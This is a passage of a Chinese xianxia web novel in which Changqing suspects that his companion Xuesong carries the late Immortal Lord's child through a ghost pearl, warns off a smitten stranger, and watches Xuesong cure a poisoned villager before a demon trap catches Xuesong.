他放下勺子,看着长青,长青仍在埋头苦吃,皱着眉头,脸色发绿,每一样都尝了一口,先吃最甜的,再吃不那么甜的,看起来好像已经觉得发苦了,不过,仍然没有不吃的打算。
坐了一会儿,长青还没吃完,而且速度明显放慢了,雪松站起身来,他已经坐累了,那个椅子不知道是怎么回事,歪歪扭扭的,而且有凹坑,不是破损的那种,是特制的,也不知道为什么要特制成这样。
总之,坐起来一点也不舒服,和普通的凳子比起来,虽然不那么硬,但是很费腰,因为坐在那上面,得用一种很诡异的姿势才能稳。
他不想继续坐下去,就站到旁边去了,长青一抬头发现他不在,还吓了一跳,以为他不见了,之后才看见他站旁边,刚把手从后腰拿下来,不由得哽了一下。
怀孕的人有什么特征来着?呕吐,喜酸,会受到荤腥味的刺激,好像还会因为身体负担加重,感到腰痛,所以喜欢扶腰?
怎么都对上了?这不对吧!这不合适吧?这不应该吧?怎么会这样?这么多条都对上了!这就算是假的,也装得太真了!
倒不如说,这根本就是真的吧?!居然是真的?居然真的是真的?这明明应该是假的呀!可是不管从哪里看都假不了……
长青低下头去,剧烈咳嗽起来,感觉自己是因为过于震惊而一不小心被呛着了。
如果是普通味道的东西倒也没什么,偏偏这里的东西都很酸,他还吃了那么多,咳着咳着,就不由自主反胃起来。
雪松猛然一惊,连忙过来拍背,长青一边用手捂住嘴,免得自己真的吐出来,一边在呼吸的空隙十分艰难咳嗽,眼泪都咳出来了。
门外的店员听见这里有声音,不知发生了什么事,敲了敲门,进来看,发现长青捂住嘴,一副要吐不吐的样子,还以为是他怀孕反胃了,端了一杯水过来说:“把这个喝了吧?”
第56章
长青接过去喝完了那杯水感觉好一些了, 软在椅子上喘气,有一种从来没觉得正常呼吸是这么美妙的感觉,两只眼睛都有些发直。
等他再缓过来一些, 他直起身, 擦了擦手,向过来帮忙的店员表示了感谢, 又顺便问:“你们刚才给我喝的是什么呀?”
店员顿了顿, 微笑道:“一种特制的能够治呕吐和一点点胃病的药水。毕竟,我们这里卖酸橘子, 总有客人需要。”
其实那是治妊娠呕吐的,毕竟他们专门点包厢, 坐了专门给相应状态的人的椅子, 还在反复确认下, 要了特供的食物, 甚至出现了对应的症状,没有办法不让人怀疑, 其实他们之中, 一定至少有一个是正在,食物名称所对应的时期。
本来应该端白水过来的,但如果白水不起效,还得去端别的药,不如直接把药端过来,不用走两趟, 这样省事些。
事实证明,刚才那杯药确实起了效果,客人既不咳嗽也不呕吐了,那就是没端错药, 还省了再来第二趟的功夫,一点问题没有!
但店员考虑到客人并没有直说自己的身体状况,他也有可能猜错,也有可能客人就是不想自己提或者被别人提,所以店员特意避开了相关的称呼,免得刺激到客人,自己被打差评。
长青不疑有他,点了点头:“好的,谢谢,你们去忙吧,过会儿我们吃完了,再告诉你们。”
店员点了点头:“好的。”今天又是完美应对突发状况的一天呢!真棒!
店员转身离开,包间里又恢复了安静,长青终于还是吃不下去了,随便喝了一点水,决定把东西都收起来,但是因为自己的戒指塞不下,所以拜托雪松帮忙,储存一些。
雪松答应下来,把装不下的食物都塞进了自己的储物戒指里,长青伸了个懒腰,摸摸肚子,觉得自己吃了一顿,又酸又撑又饿的食物,推开门走出去,付了钱,在店员的目送下离开。
不过他没注意到的是,雪松走在他后面,放慢了脚步,店员忽然对雪松低声道:“客人,我们有礼物要送给你。”
雪松顿了顿脚步,转过头来看向店员问:“送给我吗?可是刚才付钱的不是我。你确定要送给我吗?”
店员点了点头:“这个礼物是套餐附送的,所以一个套餐只有一份,请见谅,我想给您比较好,因为这是给怀孕的人用的。”
雪松想到店员之前给长青的那杯似乎有些浑浊的水,神色逐渐诡异起来:“让我给他用?为什么不直接交给他呢?怕他不好意思接?”
店员笑了笑:“是的,二位客人既然能够一起来,想必关系不错,您私下里交给他,他或许不会介怀,但如果我交给他,恐怕不太好。”
雪松勉强接受了这个理由,点了点头问:“那你要给什么?”
店员掏出一个金灿灿的口袋,口袋十分柔软,边缘显露出硬质的线条痕迹和棱角,应该有一个盒子在里面:“这个就是了。”
雪松接过去打开口袋看见一个红盒子,把红盒子掏出来,发现盒子是丝绒质地,没有任何装饰,悄悄松了一口气。
没有装饰,就等于随便放在哪里都不会被人注意到,只要不是见过的,都不会觉得有什么,应该不会再被人联想吧?
想起之前被误会的经历,雪松的心又提了起来,把盒子打开看了一眼,发现里面是一颗白玉般的珍珠丸,若有所思,把盒子盖回去。
店员用一种好像刚刚把货品推销出去的神色,莫名带点骄傲,微笑着说:“安神静气,给普通人也很好用,如果是身体不适的人——”
他顿了顿,他和雪松都知道这里的身体不适的人指的是谁,也知道那种不适是什么不适:“有对应的效果。”
雪松点了点头:“好的,谢谢。”他把盒子放回口袋,把口袋揣进兜里,向着不远处的长青走去。
长青正好转过头来,看见他好像刚才从店里出来,有些疑惑:“你在里面干什么呢?还有什么东西没拿?”
他摇了摇头:“不是,不过送了个礼物罢了。”他说着把口袋掏出来,递给长青问:“让我给你的,你要吗?”
长青接过去看了看,不知道是什么,又想起自己把人带进去的目的是为了试探雪松究竟有没有怀孕,顿了顿,把口袋连盒子还了回去:“既然是给你的,你拿着吧。”
他还是不要和身体状况特殊的人抢东西了。反正他也不是一定要这个。他第一眼都没看出这是什么,想来,平时根本用不上,那就更不需要这个时候拿了。以后要用再说。
不过从酸橘子店里面拿出来的东西,多半不是和酸橘子有关,就是和特殊身体状况的人有关,横竖他今天过了这一遭,以后大概都不会喜欢吃酸的了,何况本来也不喜欢,身体状况又没什么毛病,想必以后也用不着,根本不用担心。
在外面转了一圈,他们就回旅店去休息了,正好是午休时间,旅店里面很是安静,他们各自回到了房间。
确认雪松关上门之后,长青用海星胸针联络了广场的管理员,说了一下今天观察到的事情,顿了顿又问:“你们知道我在说什么?”
管理员沉默了半天,声音凝滞晦涩,听起来有一种,虽然早知道事情是这个样子,但直面的时候还是感到有些震撼,喃喃道:“知道。”种种状况不就意味着他们的猜测成真了吗?
雪松果然,被亡灵珠跟上,得到了仙尊的遗腹子,而且多半还打算生下来,用自己的命来换!
真不知道,应该先感慨这二位一生一死,居然感情还如此之深比较好,还是感慨,这件悬而未决的事情终于落到实处,算是证据确凿了。
“你们打算怎么办?”长青等了一会儿,问他们。
管理员们用飞快的速度讨论之后说:“如果可以,我们还是希望劝阻他的,毕竟,斯人已逝,沉溺过去不好,更何况,我们相信就算是仙尊来了,也不会希望他做这种事的。”
长青沉默了,随后说:“但他不会同意的,否则他不会干这种事。”
“我们会尽量晓之以情,动之以理,希望他能改变主意,”管理员顿了顿,知道自己说的话非常天方夜谭,几乎不可能实现,简直就像是假的一样,又犹豫着说,“您有什么合适的办法吗?”
“先观察观察吧,”长青想了想问,“亡灵珠如果使人怀孕应该是正常流程吧?需要的时间相当?如果七天就瓜熟蒂落,那倒也不必讲什么了,不是等人死,就是直接解决比较妥当。”
“没有那么长,但也没有那么短,”管理员说起这个还算了解,平静回答道,“大约三个月吧。速度很快,反应也会相应剧烈,不过到结束的那一天就会好了,但通常人也会死,从前的记载中没有人活下来的纪录。”
“我知道了,”长青垂着眼睛,皱着眉头,暂时没什么想法,几乎不抱希望,但还是说,“再看看吧,万一有什么转机呢?”
“那好吧,”管理员虽然觉得这件事情非常急切,必须要立刻解决,但也知道,有些事情就是不能操之过急,只好强行按捺住心头的想法,“明天再联系。”
这个时候,长青忽然察觉隔壁的灵气波动有些剧烈,像是发生了什么事,连忙推开门去查看,却发现旁边的门打不开。
店员过来帮忙,试了一下就停手了,一脸为难说:“这门恐怕是里面的客人用阵法挡住了,在外面强行推是推不开的,除非他自愿。他在里面做什么?一定要现在进去吗?有危险吗?”
长青皱着眉头沉默,他不清楚里面发生了什么,也不知道雪松是什么时候布置的阵法,但从灵气波动感知,里面的情况似乎不太好。
因此他摇了摇头:“我不知道,我有些担心。”
店员安慰道:“也许只是睡着了,之前才进去,现在不过一会儿,发生不了什么事的,何况人又没走。”
长青勉强点了点头,没说话,因为觉得,实在没有办法相信店员的话,不是对面不情真意切,只是,雪松的情况,危险是可以预见的。
他皱着眉头在走廊上走来走去,不知道门什么时候打开,但想在门打开的第一时间进去看看情况。
店员看他实在着急,也没劝什么,只默默待在旁边。
一股强烈的灵力波动爆发开来,随后又收敛进去,像是被漩涡倒吸,店员都有些站不稳,扶着墙,还险些一头撞上去。
长青倒是好一些,他还站得稳,但也受到了影响,晃了一下,不由得皱着眉头往前走了两步,直勾勾盯着那扇薄薄的门,有种现在就砸开的冲动。
他知道那样不好,强行忍下来,门在这个时候开了。
第57章
雪松站在门口, 看见他们两个,虽然并不是很意外,但似乎有种隐隐约约的失望, 语气倒还好, 对他们说:“不好意思,刚才打扰了, 这里没什么事, 你们可以走了。”
店员点了点头,长青往前一步问:“你刚才怎么了?”那种波动可不像是平时修炼造成的, 因为修炼的波动通常很小。
雪松有点无可奈何似的对他笑了笑,解释说:“突破了, 只不过, 突破了一个小境界而已, 没有什么好说的, 所以不重要。”
长青愣了一下:“突破了?那你现在是什么修为?”
雪松眨了眨眼睛,低声回答道:“金丹中期。”
长青倒吸一口凉气:“已经中期了……”他愣了一会儿, 回过神来, 点了点头恍恍惚惚说:“那好,你休息吧,我回房间去了。”
长青走了两步,又想起来,旁边还有个店员,转头说:“刚才谢谢你, 你也可以走了,再见。”
店员点了点头,转身离开,长青回到房间关上门, 拿起海星胸针联络广场管理员:“境界突破会对亡灵珠有什么影响吗?”
广场管理员沉默了一会儿,大惊失色道:“突破?谁突破?不会是,那位仙尊道侣吧?”
“这有什么不对吗?”长青疑惑问,隐隐约约觉得不好,但不知道究竟为什么,毕竟他对亡灵珠这种特产并不了解。
管理员深吸一口气,似乎稳定了一下情绪,才心情十分复杂说:“亡灵珠通常只有两个作用,除了我们之前讨论的那个,还有一个就是提升修为。”
长青不太明白:“提升修为不是好事吗?更何况,假如他真要做什么危险的事,修为高一些,也许存活率也更高一些?”
管理员无可奈何,叹了一口气笑道:“不是那样的,这两种效果通常只能存在一个,所以如果其中一个存在,另外一个就会不存在。”
长青明白过来:“所以他现在——”
管理员隔空点了点头,感慨道:“之前看他并没有突破升级的样子,我还以为他已经放弃了这条路,没想到,兜兜转转,现在还是回来了……”
长青忽然想到一点,打了个激灵:“这么说,他现在已经,已经算是,流产了吗?那他自己知道吗?如果不知道,如果不知道,岂不是会很难过?”
长青倒吸一口凉气。
管理员跟着紧张起来:“如果他升级了,之前的状态不复保留,完全可以算你说的那种情况,至于他究竟知不知道,我倾向于不知道,毕竟他不是本地人,如果从前没来过,恐怕没有机会知道,如果他难过,那就拜托你了!”
长青顿时感觉沉甸甸的东西压在肩头上,神色复杂,缓缓道:“我知道了,我会注意的。”
雪松正在房间里抽奖,盘子转了一圈,缓缓停了下来,指针指着一颗红豆,奖励发放之后,一个方正的红丝绒盒子出现在了桌上。
打开盒子一看,原来这还是一条红豆项链,项链是用银丝做的,细细的一条,在天光下,有一种穿梭时光的美感。
他把这条项链挂在脖子上,发现大小正好,也就干脆挂着了,只不过照镜子的时候发现,这条项链的链子有点太细了,挂在脖子上,如果不仔细看,会以为那颗红豆是悬在正中心的,像一滴鲜红的,刚刺出来的血。
不过这没什么,因为衣领刚好可以挡住,不容易被人注意到,应该也就不容易引发误会,更何况大不了掏出来给人看,总不会有人看了之后还觉得有问题。
这个时候,一只贝壳路过窗边,对他喊道:“今天过节,小河那边有免费的双人小舟发放游玩哦!”
雪松若有所思:“今天去玩玩也不错,反正是免费的,我会考虑的,谢谢你告诉我。”
那只贝壳上下摇晃了一下,算是点了点头,一边吐着水一边伸着舌头,在半空中飞行一样,呼咻呼咻的走掉了。
雪松去找长青:“要出门玩吗?听说今天过节?”
长青有点惊疑不定:“现在?现在时间可不早了?”
雪松点了点头:“现在去,要是明天不过节,那去了也没意思。”
长青也不是一定要待在房间里,点了点头:“那走吧。”
路上平地里忽然起了一阵风,长青被雪松脖子上的东西吸引了注意力,他记得,之前雪松的脖子上并没这东西,因此问:“这是什么?”
“一条项链。”雪松回答。
“谁给你的?我没看见你出门?”长青好奇问。
雪松下意识要回答是朋友送的,但他其实并没什么朋友,而且经过之前的事,相信长青听见他提朋友,只会认为是仙尊,顿了顿:“之前买的,今天才戴上而已。”
长青将信将疑点了点头。之前买的?从来没有见过。总不能说是从山里带出来的吧?那里面可不像是有什么项链的样子。等等!
那项链是什么款式?红豆?玲珑骰子安红豆,入骨相思知不知?长青倒吸一口凉气。那个之前,该不会是仙尊还在的时候吧?
那是很久以前了!今天有什么事吗?为什么突然要带上这个?只是普普通通出一趟门而已吧?而且只是去玩儿吧?用不着隆重吧?
难道是要去仙尊曾经带他去过的地方,所以特意带上仙尊送他的东西来寥以纪念吗?
“到了,”雪松停下脚步往周围看了看,这里有许多的贝壳,一张一合往外吐水,在半空中飞来飞去,“之前是一个贝壳告诉我,这边有活动的。”
长青回过神来点了点头,左右看了看,发现不远处,正在排队,也不知道在买什么,看见前面有人好像拿着红彤彤的东西出来了,有些好奇。
雪松见他好像喜欢,就说:“你去排队吧,我在这等你?”
他兴高采烈点了点头走过去排起队来,走到半路的时候,忽然听见不远处传来了说故事的声音,便抬头看了过去。
原来是有人搬着小板凳坐在那里,也在卖什么东西,不过摊子很小,东西不多,低着头讲八卦似的讲些什么。
他竖起耳朵听了听,听见那边说:“众所周知,仙尊曾经来过这个地方,你们都不知道的是,他当年其实还带了一个年纪很轻的小孩子,抱在怀里,好像关系很好的样子,一路就从这条街逛过去了。”
有人问:“你怎么知道?”
那人拍着胸脯笑道:“我当时就在这摆摊啊!我亲眼看见的,我还能不知道吗?天底下能有几个仙尊呢?一眼就认得出来!”
其他人露出将信将疑的目光。
那人为了证明,又说:“我还知道一个事儿,其实当初仙尊和那个小孩来这里,不是只逛了街,那小孩似乎有点怕生,在路上就一个劲往仙尊身上贴。
仙尊为了安慰他,对他说,你别怕,我在呢,那小孩就问,你要是不在怎么办呢,仙尊说,你可以抬头看看月亮,我们在同一轮月亮底下,你照着月亮就等于我在你身边了。
那小孩又问,要是没有月亮呢,仙尊就送了那小孩一片月华,说那东西可以当月亮,那小孩儿就安心了。”
长青知道月华是什么东西,月亮出来的时候会有光,月光落在地上,被修仙之人用法术凝聚成片,入手冰凉,十分美丽,轻薄如纸,光华流转,神似鱼鳞又仿佛打磨得分外光滑的贝壳,那就是月华了,通常被修仙之人用来哄小孩的。
据说,也有人用这个东西向年轻的爱人表白,不过用得更少一些。仙尊把月华用在这儿,倒十分合适。
其他人追着问:“后来呢,后来呢?”
摊主说:“后来的事情大家都知道了。”
众人便不说话了。
队伍不知不觉排到了前面,老板问长青要什么,长青随便挑了一个就带走了,拿走之后定睛一看,发现居然买了一片月华,一时站在原地,有些无话可说,不知是自己运气太好还是太差。
雪松见他已经从队伍出来,就向他靠近,问他:“买好了走吧?”
他连忙点了点头,把手里的东西收起来,旁边却忽然有人惊呼:“月亮出来了!”
所有人都是一愣,长青和雪松自然也抬头望去,发现不知什么时候,一轮圆月挂在正当空,这要是在陆地上倒也常见,可这里是海底,这就稀奇,众人都聚集起来,望着月亮,久久无法回神。
雪松趁机从人群里溜出去,找到一艘空置的小舟,对长青招手:“正好这个时候划,快走快走!”
长青从人群中走过去,上了小舟,雪松就开始划,他上手倒是很快,好像曾经划过,连路也熟悉,长青用一种十分复杂的神色看着他。
他从前住在山里,想必没有划船的机会,就算有小溪也用不着划什么,那就又是跟仙尊学的了?仙尊居然连这个也教他?一定是手把手教的了?
第58章
划了一阵子小舟之后, 雪松觉得有点累了,于是放缓了速度,考虑了一阵子之后, 觉得就这样也不会沉下去, 就干脆把手里的桨放在了旁边,坐在船上开始欣赏起周围的风景。
小木舟忽然被从后面撞了一下, 以至于摇晃起来, 雪松差点一头栽进水里,被人拉住了, 重新回到小木舟上,转头一看。
后面是另外一艘小木舟, 木舟上是个圆脸大眼的少爷, 穿得锦衣华服, 身后还跟着一个仆人, 正拿着桨,苦兮兮坐在那里划。
那少爷看见雪松的脸愣了一下, 随后露出惊讶的神情, 眼中浮了一丝转瞬即逝的迷离,两颊一点一点红了,喃喃道:“今夕何夕兮搴舟中流,今日何日兮,得与王子同舟?”
雪松的直觉感到不妙:“什么?”
对面从恍神的状态里惊醒过来,连忙摆手:“什么也没有, 什么也没有!不好意思!”
雪松将信将疑点了点头,没有向他追问什么,只是拿起桨,准备划走, 那边小舟上的少爷像是突然被刺扎了一下似的,连忙问:“你要去哪儿?!”
“到岸上去,”雪松看了他一眼,“我不能去吗?”
“可以可以,”少爷连连点头,犹豫了一下问,“才来就要走啊?”
“来了有一会儿了,”雪松摇了摇头,“不早了。”
少爷十分可惜,眼巴巴望着他:“我能知道你叫什么名字吗?”
雪松毫不客气拒绝说:“不用了,我不会追究刚才的事情。”
少爷张了张口,像只垂下耳朵的比格犬一样望着他说:“我不是担心你追究,如果你想追究,你现在就可以追究,你没有追究我,想来是个不爱追究的人,就算要追究,我也愿意承担责任,毕竟是我的错,只不过,只不过……”
他好像有些伤心似的低下头去说:“我想知道你的……名字……”
雪松仍然拒绝:“这不是重要的事,你不必知道。”
话音未落,小木舟已经靠了岸,雪松就上去了,长青跟在后面,也上了岸,往后看了一眼,那少爷还在看着雪松,仿佛分外可惜似的。
长青迅速收回了目光,跟雪松回到了住处,雪松到了住处就关上门,没有再出来,长青拿出了五角星胸针,联系了广场管理员:“从表面上看一切正常。”
广场管理员说:“也许是在偷偷伤心,这是有可能的,不愿让你看见罢了,不过没关系,就算看见了,也可以假装没看见,毕竟,遇上那样的事,谁都会难过吧?”
长青沉默了一阵,他觉得管理员说的有道理,但他又不想顺着说,因此他开口道:“那我之后再观察观察?”
管理员毫不犹豫答应了。
长青想了一想又说:“今天遇到一个陌生人,险些把他撞进水里,他对那个人没什么兴趣,但那个人好像不太一样。”
管理员迟疑着问:“需要我们把他隔离或者赶走吗?如果有需要,我们可以做到,你觉得呢?”
门忽然被敲响了,长青起身道:“请等一下。”
管理员说:“好的。”
长青把门打开一看,还以为是雪松,结果不是,是之前的那个陌生人居然找过来了,长青皱了皱眉:“你来干什么?”
陌生人说:“不好意思,我知道这样好像不太好,但是我真的很想,很想知道他的情况,你们是一起的吧?你是他的朋友吗?你能告诉我一些关于他的事吗?”
长青双手抱在胸前,用一种警惕而审视的目光打量他,语气里微微带刺说:“你知道自己做的事情不好?要不要去自首?”
对面沉默了,好一会儿之后说:“对不起,但是,真的不能告诉我吗?”
长青嗤笑一声:“既然你这么想知道,那你进来,我慢慢跟你谈。”
长青说着,走向自己房间坐下,看着门口的陌生人,陌生人犹豫了一阵,还是走了进来,把门关上坐下,像个束手束脚的客人,虽然根本没有得到邀请。
但看在他暂时没有损坏什么东西的份上,长青坐着想了想,觉得随便说点什么来打消对方继续跟随的可能,也不是不行——
他拒绝承认,他想的是不能只有他一个人被仙尊和雪松的感情刺激。
“你要问的是我隔壁的那个人?”长青为了以防万一,还是确认了一下。
陌生人点了点头,看他似乎有动摇的意思,一脸兴奋望着他。
“他是我的朋友,也是我的同门师弟,我们是一个宗门的,所以可以这样算,”长青顿了顿,“但他最重要的身份是,仙尊的伴侣。”
他说这话的时候盯着陌生人的脸,想知道对面究竟有什么反应,一想到对面可能的反应,他就忍不住想笑,但考虑到自己刚开了个头,不太适合这个时候笑,就强行控制住了。
陌生人愣了一下,一脸震惊的迷茫,下意识抗拒自己不想接受的现实,否定说:“不可能,仙尊不是早就死了吗?他怎么会是一个早就已经死了的人的伴侣呢?死人是不会给自己找伴侣的!”
陌生人好像突然说服了自己,倒吸一口凉气,猛然间站起身来,满脸大惊失色问:“难道你们宗门还做死人结婚的生意?他是自愿的吗?他那么年纪轻轻的,一定不愿意吧?他甚至没穿红衣服,他一定,一定是被迫的!你们不能这样对他!”
长青嗤笑了一声,觉得他实在好笑,慢条斯理给自己倒了一杯水,斜了他一眼说:“我们可不做那种事,他完全是自愿的,即使他不是,你之前和他交谈的时候,难道,看见他有多向你望一眼吗?这难道还不足以证明?”
陌生人张了张口无话可说,只能十分颓然又坐了回去,好像一只突然失去了梦想的毛绒布偶熊被打倒在货架上,两只黑豆豆眼睛直勾勾望着天花板,一脸生无可恋,这辈子都不想再重蹈覆辙了。
长青等了一会儿,见他没什么可说的,开始向他科普仙尊有多爱雪松:“雪松的武器是仙尊送的,装武器的盒子是下聘礼的,雪松的镯子也是仙尊送的,送镯子的意思是表白,仙尊还给雪松埋了一坛酒,雪松已经喝了,他们甚至有单独的小院!是什么意思不用多说吧?”
陌生人像是被打击傻了一样,呆呆望着他:“意味着什么?”
“他们不知同居了多久,你是插不进去的!”长青双手抱在胸前,居高临下看着他,用一种少年,你还是太年轻的目光,同情中夹杂着一丝幸灾乐祸。
陌生人像失去魂魄一样,缓了好一会儿,低着头,十分伤心似的问:“那他呢?他也那么喜欢?”
长青一提这个,那就更来劲了:“他收下了仙尊的剑和盒子,他的其中一个镯子是自己从宗主手里选的,他知道仙尊给他留了东西,而且见到仙尊留下的丹药毫不犹豫就吃了,你知道这是什么含金量吗?绝对不怀疑下毒!这可不是情比金坚就能做到的!”
长青一边说一边啧啧摇头,陌生人倒吸一口凉气,眼圈一下子红了:“那我是真的,是真的,一点可能也没有了是吗?”
长青嗤笑一声,在打击异己这方面,没有丝毫怜悯同情,不假思索说:“当然!”
陌生人浑身一颤,咬着牙缓了好一会儿,扶着桌子站起身来说:“那我没有什么要问的了。”
长青打开门把他送出去:“好走!”
陌生人点了点头,迈起慢吞吞的步子,往外走去,忽然愣了一下,长青也在准备关门的时候,看见底下有一个熟悉的身影,顿了顿,把门往外打开了一些,同时走了两步出去,定睛一看,不是看错——
雪松正坐在一楼的一个角落里,桌子上摆着一瓶酒和一个酒杯,酒是开了封的,酒杯是倒满了的,他捏着那小小的杯子,正在喝酒。
长青眯了眯眼睛,现在喝酒的人不是很多,他能从空气中嗅闻到那酒的气味,感觉仿佛在哪里闻过,但一时间没想起来。
陌生人也闻到了酒味,看见了雪松,两只眼睛直勾勾盯着半空,喃喃道:“是冰山雪酒!
曾经千金难求,因为仙尊喜欢,所以被大批量仿制,有些劣质酒味道不好,但还顶着名头,以至于有些人就以为这种酒是那种味道,实际上只是钱不够。
据说,这是一种用千米高的冰山上生长出来的雪莲泡的酒,用的是精纯无比的灵液,要在寒潭里冻至少三天三夜,才勉强能捞出来,所以寒气逼人,连坛子都十分冰冷,在表面形成一种冰蓝色的薄膜,实际上,那是酒液特性往外溢出的表现。
底下那坛酒是典型的冰山雪酒,不是最好的,但也不是最烂的。”
“我相信你了,”陌生人对长青说,“看来底下那位确实是仙尊的道侣,因为他们连喜欢的酒都一样!”
第59章
“也不一定是喜欢……”长青神色复杂, 喃喃道。
“要是不喜欢,他平白无故点这个酒来干什么?”陌生人摇了摇头,觉得他在说笑:“要是他不喜欢还要喝, 又没有人逼迫他, 那他是为了什么?祭奠仙尊吗?那只能说明他们感情更好了吧?”
陌生人说到这里,十分唏嘘叹了一口气, 顿了顿:“我该走了。”说完, 他毫不留恋下了楼,急匆匆出了门去, 头也不回,不见了。
海星胸针里传出管理员的声音:“你还好吧?”
长青沉默了老半天才找回自己的声音, 自嘲笑了笑, 回答道:“还好。”
管理员试图安慰他, 想了想说:“要不你也喝点酒?”
长青一边觉得无可奈何, 一边觉得可笑,摇了摇头:“我有什么可喝的呢?”借酒消愁, 或许有用, 可他现在不想喝酒。
他看着雪松兴高采烈,抿了一杯酒,又倒了一杯,脸上有怀念的神色,叹了一口气,转身回了房间, 关上了门。
管理员听见他的脚步声,犹豫着试图分散他的注意力:“你觉得,雪松究竟知道不知道亡灵珠的事情?”
“就算一开始不知道,之后身体发生变化也应该知道吧?”长青顿了顿, 突然明白雪松为什么去喝酒了:“他莫不是发现自己修为提升之后就,失去了那个机会,所以借酒消愁去了?反正现在也不用顾忌什么,喝酒是无所谓的,那正好趁现在喝!”
“有可能,”管理员想了想说,“这么看来,他是因为修为过于精进,蕴养亡灵珠一段时间之后,修为触顶,所以被迫升级了?”
“或许是吧。”长青唏嘘道:“希望他喝完酒能好受一些。”顿了顿,他又说:“我想休息了,今天应该没有什么事了,就这样吧。之后有什么事,我再联系?”
“那好。”管理员非常识趣,能感觉到他心情糟糕,不再打扰他。
通讯断开,长青躺上床睡觉去了,第二天一早天还没亮就醒了,恍惚中以为自己还没有睡醒,但看了一眼时间,发现也不算太早,算一算,大概用不了多久就会天亮,也就没有再倒头睡过去。
一直待在房间里也没意思,他想了想就出门散步去了,没有打扰雪松。
天亮之后,雪松吃过早餐出门,忽然想起自己从前在这附近似乎有个临时的落脚处,不知道现在还在不在,但他隐约记得,从前离开的时候给那个地方布置了一个简易的防护阵法,可以扛一段时间,免受风雨摧残,应该还能找到。
他在街头上顿了顿,就向着那个方向走了过去,没走多远,离开了人群,周围逐渐安静下来,他还没找到自己的院子,突然看见,前面的路口乱糟糟围了一群人,有些好奇,上去查看,发现那群人中间还躺着一个,气若游丝,看起来快要死了。
他就问:“这是怎么了?”
旁边围观的人回答:“他不小心吃掉了有毒的草,但是暂时没人认得出来那是什么草,也就不知道他中的是什么毒,没法救啊这!”
雪松左右看了看,没看出来哪里有什么草,又问:“有毒的草长什么样子?谁看见了?在哪儿呢?”
一个老人走过来说:“绿油油的,长条形的,边缘是锯齿状,闻起来有一股清香,尝起来是甜甜的,但是吃了就会中毒,不过不是立刻发作,通常发作的时候已经吃了一半,中毒的人会浑身发红,神志不清,不受控制抽搐,就像躺在地上那个人一样。”
雪松从口袋里摸出一颗解毒丸:“也许这个东西能有用,给地上那个人尝一口?如果解了毒,他就不用躺在那儿了。”
老人接过那颗药丸看了看,将信将疑问:“你确定?”普通的解毒药丸,不会对那种药草起效果,不然他们早就拿出来了。
毕竟普通的药丸,再贵也贵不到哪里去,一般人出门的时候随身也会带一两颗,免得自己出事故的时候没得用。
“我确定。”雪松点了点头。
横竖解毒药丸吃不死人,他没什么好担心的,更何况,他从前见过这种症状,也见过那种草,刚拿出来的药丸是那次事件之后专门制作了,储藏起来的,应该会起效。
老人若有所思看着他。神色笃定,面容熟悉,语气平静,这种姿态仿佛……什么时候见过?对了,是仙尊!
仙尊曾经就长着这样一张脸,在出这样的事情的时候,用这种姿态挺身而出,为其他人解决了问题。
这么看来,这颗药丸确实可能有效,因为很有可能是出自仙尊之手,仙尊出的东西,怎么可能没有效果?
只不过仙尊已经死了,没听说过他有徒弟,更何况和他长得几乎一模一样,那还能有什么人,能拿到他遗留下来的药丸,在别人需要帮助的时候,直接拿出来而毫不心疼呢?
连性格也如此像?难道是道侣?如果是道侣,那就不奇怪了,毕竟,仙尊既无子嗣,又无长辈,也无亲戚,死了之后,若有财产,在有道侣的情况下,肯定是由道侣接手。在有一大堆仙尊遗物的情况下,用出一颗药丸,倒也不甚稀奇。
边上一个人皱着眉头过来说:“这人来历不明,恐怕根本认不得那种草,更不会有解药,还是别信了吧?不然治死了怎么办?”
老人摆了摆手,意味深长看了他一眼,用一种让人打哆嗦的呵呵笑声说:“你不知道,用就是了,我看有用,要是出事,我负责就是了。”
说话的人皱着眉头感到惊讶:“那你岂不是成了担保了?你平时都不随便给别人担保的!你今天这是怎么了?被下迷魂药了?”
老人抄起自己的烟袋就敲了他一下:“你小子给我闭嘴!救不了人,还要在这里捣乱,你再说这些没用的废话,我就要让人把你捆了,堵住嘴,丢进房间里关起来去,等人好了再出来!”
那个人不说话了,默默游回人群里,只露出一双眼睛看,小声嘀咕:“相信一个莫名其妙的人也不相信我?我看绝对不会成的!”
老人拿着解毒丸靠近了地上那个人,那个人现在已经没什么力气了,身体在地面上轻微抖动着,仿佛有什么寄生虫要从他的嘴里钻出来,皮肤红得像一只被煮熟了的大闸蟹,看起来分外可怕可怜。
老人把解毒丸塞进他的嘴里,看着他吞下去,慢慢站起身来,等了一会儿,众人清清楚楚看见,他身上发红的皮肤以肉眼可见的速度变回了正常颜色,颤抖也逐渐消失了,平平整整躺在那里,连喉咙里的声音,也一点一点没有了,只剩下呼吸。
边上的人愣了一下,以为这个人要好了,但是等了一会儿,没看见他睁开眼睛起来,就以为那个药,其实还是没有太大作用,脸上露出嗤笑的神色,心中暗道:果然是不知哪里随便来的路人!也许拿的是假药,只是看起来有用而已!
过了一个呼吸的时间,那人正要讲话,地上的人忽然深吸一口气,睁开了眼睛,一脸迷茫,缓缓坐了下来,往周围环顾了一圈,声音沙哑喃喃道:“我这是怎么了?”
他说着,抬手摸了摸自己的脸,感觉自己脸上红红的,有种刚刚被灼烧过的感觉,手摸上去都觉得痛,还有一点诡异的黏黏的东西,像是皮掉了之后溢出来的液体。
他狠狠打了个哆嗦,低头看了看自己的手,发现手似乎还是好的,松了一口气,搓了搓手指。
老人十分欣慰,仙尊道侣拿出来的药果然没错,看着他回:“你吃了毒草,刚才躺在这里晕过去了,多亏了路过的好心人,拿出了特制的解毒药丸给你吃了,才救了你一命!你可要好好谢谢!”
那个人连忙从地上爬起来,点了点头,拍了拍衣服,还有一些站不稳,摇晃了一下说:“我一定要好好感谢他!他在哪儿呢?”
他一边说,一边往人群里看去,雪松已经悄悄退走了,他可不愿意被人群注视,他还有事情要做呢。
老人找了找,没找到雪松,摸摸胡子,一脸感慨万千说:“想必是还有事情要办,又不想打扰大家,所以趁着没人注意就走了。”
不愧是仙尊的道侣!和仙尊一样品德高尚,助人为乐!回头见了他,一定好好感谢一番!绝不让他轻易走掉!
“散了吧,散了吧,”老人对众人挥了挥手,“以后见了再感谢就是了。”
此时的雪松已经可以看见自己的院子门了,正要加快脚步冲进去,突然感觉自己被绊了一下,低头一看,原来是一个阵法——
透着魔族的气息。
下一秒,一个巨型铁笼凭空出现,将他笼中鸟一般罩在里面,几个魔族从旁边冲了出来,一把抓住铁笼,往上一抬,周围环境瞬间变化。
第60章
